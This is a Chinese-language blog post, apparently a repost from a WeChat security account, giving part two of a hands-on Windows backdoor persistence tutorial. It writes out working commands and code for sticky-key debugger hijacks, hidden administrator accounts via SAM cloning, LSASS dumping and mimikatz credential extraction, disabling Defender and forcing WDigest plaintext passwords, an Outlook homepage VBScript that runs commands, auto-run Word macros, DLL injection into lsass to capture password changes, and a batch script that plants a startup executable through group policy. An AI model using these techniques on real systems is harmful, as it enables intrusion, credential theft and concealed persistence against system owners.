后门持久化从入门到佛了(下篇)

admin 2022年3月25日23:56:10评论180 views字数 6566阅读21分53秒阅读模式

此篇后门持久化技术仅用于技术交流,切勿用于非法用途,所造成后果与我本人(素念)无关。

事先声明,此篇不是原创,原文是清风师傅10月份写的

https://mp.weixin.qq.com/s/NG5P3UknD51xykag1nvymQ

我只是在他的基础上做一个复现,扩展。

五、Shift 后门:

在老版本的系统中(如xp/2003)我们可以通过直接替换 粘滞键sethc.exe进行持久化的后门植入。但是到高版本系统之后,只有TrustedInstaller组用户才有权限进行更改。但是我们还是可以通过添加注册表(需要管理员)的方式进行shift后门植入。会被Denfender拦截。

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "c:windowssystem32cmd.exe" /f

后门持久化从入门到佛了(下篇)

获取到的为system权限。

后门持久化从入门到佛了(下篇)

利用对进程静默退出的监视操作,实现shift后门。但是这种方式不会像上面的那种,直接将CMD弹出到登陆界面,而是在sethc.exe退出之后运行。同样也是system权限。

reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Globalflag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v MonitorProcess /t REG_SZ /d "c:windowssystem32cmd.exe" /f

后门持久化从入门到佛了(下篇)

进入到系统,弹出窗口,权限仍为system

后门持久化从入门到佛了(下篇)

具体原理,看此篇文章:

https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd

六、创建后门账户(管理员):

创建隐藏账户:

net user xxx$ password /add
net localgroup Administrators xxx$ /add

在net user里虽然看不到,但是可以在计算机管理里看到

后门持久化从入门到佛了(下篇)

隐藏账户再次进行隐藏:

修改注册表

HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers

如果你只能访问到SAM/SAM,那么多半是权限问题

后门持久化从入门到佛了(下篇)

复制 Administrator 也就是 0x1F4 中 F的二进制值。放到xxx$对应的3EA中的F值里。

后门持久化从入门到佛了(下篇)

后门持久化从入门到佛了(下篇)

然后将0x1F4 与 0x3EA 与 xxx$ 全部导出

再删除 xxx$ 这个隐藏账户

net user test$ /del

最后再将导出的注册表进行导入及完成。虽然会报错,但是确实是将xxx账户隐藏了

后门持久化从入门到佛了(下篇)

后门持久化从入门到佛了(下篇)

可以用net user xxx$查看此账户信息,尝试删除用户,删不掉,只能通过注册表删除

后门持久化从入门到佛了(下篇)

七、凭据提取:

通过获取目标账户的密码或者 hash 制作的票据,达到一定程度上的权限维持的作用

1、直接在目标机运行:

 #以管理员权限运行 mimikatz ,然后获取 debug 权限,再获取账户密码
privilege::debug
sekurlsa::logonpasswords

后门持久化从入门到佛了(下篇)

2、通过任务管理器转储lsass:

通过转储 lsass 的方式,在本地进行提取。


后门持久化从入门到佛了(下篇)

后门持久化从入门到佛了(下篇)

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

测试无法一句代码执行,需要分开


后门持久化从入门到佛了(下篇)

3、通过微软小工具procdump进行转储(需要管理员

win10也可以,但是mimikatz不能解就是了。。。

procdump64 -accepteula -ma lsass.exe lsass.dmp

后门持久化从入门到佛了(下篇)

windwos10以及以上抓取明文:

(1).临时禁止Windows Defender
REG ADD "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force #键值为1时Wdigest Auth保存明文口令,为0则不保存明文

(2).修改注册表开启UseLogonCredential
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
(3).等用户下次再登录的时候,可抓到明文密码
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit

后门持久化从入门到佛了(下篇)

后门持久化从入门到佛了(下篇)

4、SqlDumper(需要管理员):

sqldumper 是 mssql 自带的一个工具,在目标机安装了 mssql 我们都可以直接使用,以 mssql 2019 为例,其存放于 C:Program FilesMicrosoft SQL Server150Shared。

150 for SQL Server 2019

140 for SQL Server 2017

130 for SQL Server 2016

120 for SQL Server 2014

110 for SQL Server 2012

100 for SQL Server 2008

90 for SQL Server 2005

(测试环境 win10,安装2019版,未安装SSMS

# 获取进程PID tasklist /svc |findstr lsass.exe

sqldump.exe PID 0 0x01100

后门持久化从入门到佛了(下篇)

文件被放在了当前目录下(150Shared)

后门持久化从入门到佛了(下篇)

5、Get-ProcessMiniDump(管理员) :

Import-Module .Get-ProcessMiniDump.ps1

Get-ProcessMiniDump -ProcID 632 -Path C:UserssusuDesktopmimikatz2.2-x64test.dmp

后门持久化从入门到佛了(下篇)

八、outlook后门持久化:

1、OutLook 主页滥用:

修改主页的目标地址,改为恶意网页地址。每次点击收件箱时都会触发漏洞。

右击收件箱属性,主页里 地址

后门持久化从入门到佛了(下篇)

<html><head><meta http-equiv="Content-Language" content="en-us"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Outlook</title><script id=clientEventHandlersVBS language=vbscript><!--Sub window_onload()Set Application = ViewCtl1.OutlookApplicationSet cmd = Application.CreateObject("Wscript.Shell")cmd.Run("notepad")End Sub--></script></head><body><object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object></body></html>

由于outlook 使用的是 ieframe.dll 来进行渲染,所以导致其可执行VBS代码。造成命令执行。

重新打开outlook,弹出记事本

后门持久化从入门到佛了(下篇)

2、OutLook 规则滥用:

主页滥用每次重启OUTLOOK都会执行恶意脚本,这样在某些特殊情况下可能会动静太大。这里利用outlook的规则制定,点击文件,打开管理规则和通知,点击新建规则

后门持久化从入门到佛了(下篇)

老版本中,规则里是有应用程序的,测试环境为outlook2016,无此功能,所以此条仅为了解

后门持久化从入门到佛了(下篇)

3、Outlook 功能滥用利用工具地址:

https://github.com/sensepost/ruler

九、office宏持久化

创建一个作用于所有活动模板和文档的宏。

后门持久化从入门到佛了(下篇)

然后编写对应的宏代码,或使用CS,MSF等工具生成的代码也可以。

在Word中能够自动运行的默认宏代码名称及触发条件如下:

1、名称:AutoExec 条件:启动Word或加载全局模板

2、名称:AutoNew 条件:每次生成新文档时

3、名称:AutoOpen 条件:每次打开一个已有文档时

4、名称:AutoClose 条件:每次关闭文档时

5、名称:AutoExit 条件:退出word或卸载全局模板时

测试代码如下(打开word就运行,弹出UAC窗口):

Sub AutoExec()
Set sa = CreateObject("Shell.Application") '以管理员身份运行cmd
sa.ShellExecute "cmd", " /c start calc ", , "runas", 1
End Sub

后门持久化从入门到佛了(下篇)

十、HookPasswordChange:

由于PasswordChangeNotify函数存在于rassfm.dll中,有由于该dll只存在于server系统下

所以测试环境使用server 2008 R2

优点:

1、不需要重启。

2、不需要修改注册表。

3、不需要在系统放置dll。

后门持久化从入门到佛了(下篇)

1、生成Hook dll

poc下载地址:
https://github.com/clymb3r/Misc-Windows-Hacking

使用VS2015开发环境,MFC设置为在静态库中使用MFC

后门持久化从入门到佛了(下篇)

编译工程,生成HookPasswordChange.dll 到

Misc-Windows-Hacking-masterHookPasswordChangex64Release 文件夹下

后门持久化从入门到佛了(下篇)

2、下载powershell的dll注入脚本

下载地址:https://github.com/clymb3r/PowerShell

其中我们要用到的是PowerShell-masterInvoke-ReflectivePEInjectionInvoke-ReflectivePEInjection.ps1 这个脚本

3、将dll和ps1上传至目标机(管理员)

Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

后门持久化从入门到佛了(下篇)

4、验证Hook PasswordChange

手动修改管理员密码,无需重启,就可在windows/temp下看到passwords文件

后门持久化从入门到佛了(下篇)

高级点的利用方式,将新密码上传至http服务器

http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

十一、组策略持久化

LGP:

本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。--(应用之百度百科)

win+R输入 MMC 即可打开 控制台并添加本地组策略,或者运行gpedit.msc也可以

后门持久化从入门到佛了(下篇)

本地组策略提供了非常丰富的功能,他可以设置用户访问权限,密码复杂度检验,账户锁定阈值,开关机脚本执行等等功能。


后门持久化从入门到佛了(下篇)

后门持久化从入门到佛了(下篇)

我们通过 LGP 的登录脚本设置,添加我们的样本文件,然后重启可以看到样本程序成功提权到system,这个点既能当做提权点,也能做权限维持。其本质与注册表提权与权限维持相同。

后门持久化从入门到佛了(下篇)

(不要问我为什么后面变成了win10的机子,我发现08 R2 ping不到我cs的服务器)

后门持久化从入门到佛了(下篇)

但是在实际环境中,我们有时无法通过桌面进行操作,所以白嫖一个bat脚本用于修改计算机本地组策略,需要 administrator 权限

@echo offecho 需要bypassuac后才能使用set di=%windir%system32GroupPolicyMachineScriptsif exist %di% (  echo script文件夹存在  if exist %di%scripts.ini (    echo scripts.ini文件存在,删除原文件    attrib -a -s -r -h %di%scripts.ini    del %di%scripts.ini /q    echo.>%di%scripts.ini    echo [Startup] >>%di%scripts.ini    echo 0CmdLine = %~dp0artifact32.EXE >>%di%scripts.ini    echo 0Parameters= >>%di%scripts.ini    attrib +s +a +h %di%scripts.ini    ) else (    echo script.ini文件不存在,正在创建文件    echo %di%    echo.>%di%scripts.ini    echo [Startup] >>%di%scripts.ini    echo 0CmdLine = %~dp0artifact32.EXE >>%di%scripts.ini    echo 0Parameters= >>%di%scripts.ini    attrib +s +a +h %di%scripts.ini  )  gpupdate /force) else (  echo script文件夹不存在,创建该文件夹  md %di%  md %di%Shutdown  md %di%Startup  echo.>%di%scripts.ini  echo [Startup] >>%di%scripts.ini  echo 0CmdLine = %~dp0artifact32.exe >>%di%scripts.ini  echo 0Parameters= >>%di%scripts.ini  attrib +s +a +h %di%scripts.ini  gpupdate /force)pause

后门持久化从入门到佛了(下篇)

另外如果是针对当前用户做登录启动的组策略的话,由于最终是写入到 HKCU 注册表,所以只需要当前权限即可。

当前用户的登录脚本配置是位于 %windir%system32GroupPolicyuserScripts  ,只需要修改上方脚本中的 di 地址即可。

还有些没有介绍的常见的后门持久化可看此篇文章:

https://xz.aliyun.com/t/6461


原文始发于微信公众号(獓狠安全团队):后门持久化从入门到佛了(下篇)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日23:56:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   后门持久化从入门到佛了(下篇)http://cn-sec.com/archives/841447.html

发表评论

匿名网友 填写信息